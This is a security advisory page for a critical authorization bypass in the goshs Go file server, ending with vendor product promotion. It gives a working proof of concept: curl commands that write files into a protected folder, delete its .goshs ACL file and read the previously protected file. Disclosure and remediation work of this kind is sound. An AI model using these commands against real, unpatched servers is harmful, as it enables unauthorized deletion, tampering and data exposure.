GHSA-wvhv-qcqf-f3cx is a critical-severity (CVSS 9.8) CWE-862 vulnerability in github.com/patrickhener/goshs. No vendor fix is recorded yet; mitigation options are listed below.
goshs has a file-based ACL authorization bypass in goshs state-changing routes
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-wvhv-qcqf-f3cx.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-wvhv-qcqf-f3cx plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,166 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
github.com/patrickhener/goshsReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
goshs enforces the documented per-folder .goshs ACL/basic-auth mechanism for directory listings and file reads, but it does not enforce the same authorization checks for state-changing routes. An unauthenticated attacker can upload files with PUT, upload files with multipart POST /upload, create directories with ?mkdir, and delete files with ?delete inside a .goshs-protected directory. By deleting the .goshs file itself, the attacker can remove the folder's auth policy and then access previously protected content without credentials. This results in a critical authorization bypass affecting confidentiality, integrity, and availability.
Details
The project README explicitly documents file-based ACLs as a security feature:
README.md:59- "You can place a .goshs in any folder to apply custom ACLs"README.md:61- "You can apply custom basic auth per folder"
The read/list path correctly enforces .goshs:
httpserver/filebased.go:10-49loads.goshshttpserver/handler.go:68-91callsfindSpecialFile()for directorieshttpserver/handler.go:94-101callsfindSpecialFile()for fileshttpserver/handler.go:285-305applies custom authhttpserver/handler.go:545-565enforces folder auth during directory renderinghttpserver/handler.go:590-630enforces file auth and blocked entries during file serving
However, the state-changing routes bypass this logic entirely:
httpserver/server.go:94-100routes multipartPOST /.../uploaddirectly toupload()httpserver/server.go:105-109routesPUTdirectly toput()httpserver/handler.go:119-123dispatches?mkdirdirectly tohandleMkdir()httpserver/handler.go:181-187dispatches?deletedirectly todeleteFile()httpserver/updown.go:18-60writes files forPUTwithout checking.goshshttpserver/updown.go:63-165writes files for multipart upload without checking.goshshttpserver/handler.go:679-698deletes files withos.RemoveAll()without checking.goshshttpserver/handler.go:901-937creates directories withos.MkdirAll()without checking.goshs
This is not a path traversal issue. The path remains inside the configured root after sanitization. The vulnerability is that authorization is applied inconsistently: reads are protected, but writes and deletes are not. Because .goshs itself can be deleted through the unauthenticated delete route, the attacker can escalate the impact from unauthorized modification to full removal of the folder's auth barrier.
PoC
Environment used for verification:
- Repository/module:
github.com/patrickhener/goshs - Verified vulnerable tag:
v2.0.0-beta.3 - Also present in the
v1.1.4line based on code inspection - Local host:
127.0.0.1:18091
Build and setup:
cd '/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta3'
go build -o /tmp/goshs_acl_verify/goshs ./
rm -rf /tmp/goshs_acl_verify/root
mkdir -p /tmp/goshs_acl_verify/root/protected
cp integration/keepFiles/goshsACLAuth /tmp/goshs_acl_verify/root/protected/.goshs
printf 'top secret\n' > /tmp/goshs_acl_verify/root/protected/secret.txt
/tmp/goshs_acl_verify/goshs -d /tmp/goshs_acl_verify/root -p 18091
In a second terminal:
# The protected folder initially requires auth
curl -s -o /dev/null -w '%{http_code}\n' 'http://127.0.0.1:18091/protected/'
# Unauthenticated write into the protected folder succeeds
curl -s -o /dev/null -w '%{http_code}\n' -X PUT \
--data-binary 'injected via PUT' \
'http://127.0.0.1:18091/protected/put-created.txt'
# Unauthenticated deletion of the ACL file succeeds
curl -s -o /dev/null -w '%{http_code}\n' \
'http://127.0.0.1:18091/protected/.goshs?delete'
# The previously protected file is now publicly accessible
curl -s -o /dev/null -w '%{http_code}\n' \
'http://127.0.0.1:18091/protected/secret.txt'
curl -s 'http://127.0.0.1:18091/protected/secret.txt'
Expected results:
401
200
200
200
top secret
<img width="1280" height="657" alt="goshs_poc1" src="https://github.com/user-attachments/assets/37576067-fa90-44f6-8fe5-dcb7c96b9704" />
Note: if using zsh, the URL containing ?delete must be quoted, or the shell will treat ? as a wildcard and the request will not be sent.
PoC Video for reference:
https://github.com/user-attachments/assets/deb9106e-6dfa-47c0-95c1-993c2cbc9ee7
Impact
This is an authorization bypass affecting deployments that rely on .goshs for per-folder protection. A remote unauthenticated attacker can:
- create or overwrite files inside a folder that should require authentication
- create directories inside the protected folder
- delete arbitrary files reachable through the vulnerable route inside that protected folder
- delete the
.goshspolicy file itself - read previously protected files once the policy file has been removed
In practice, this breaks the security boundary promised by the file-based ACL feature and can expose sensitive files while also allowing unauthorized modification or destruction of protected content.
Remediation
- Enforce
.goshsauthorization checks for all state-changing operations, not just read/list flows. BeforePUT, multipart upload, delete, and mkdir, resolve the effective folder ACL and deny the request unless the caller satisfiesacl.Auth. - Protect
.goshsas a special file in mutation handlers. The application already prevents serving.goshs; it should also reject deletion, overwrite, or replacement of.goshsthrough HTTP routes unless the request is properly authorized. - Add regression tests covering protected folders for every mutation path. The test suite should verify that
PUT,POST /upload,?delete, and?mkdirall fail without valid credentials when a.goshsfile is present.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/patrickhener/goshs | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/patrickhener/goshs, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
No patched version of github.com/patrickhener/goshs has shipped for GHSA-wvhv-qcqf-f3cx yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-wvhv-qcqf-f3cx can be triaged on real exposure rather than presence alone.
Tailored to GHSA-wvhv-qcqf-f3cx. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-wvhv-qcqf-f3cx in your dependencies?
O3 Security finds GHSA-wvhv-qcqf-f3cx across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.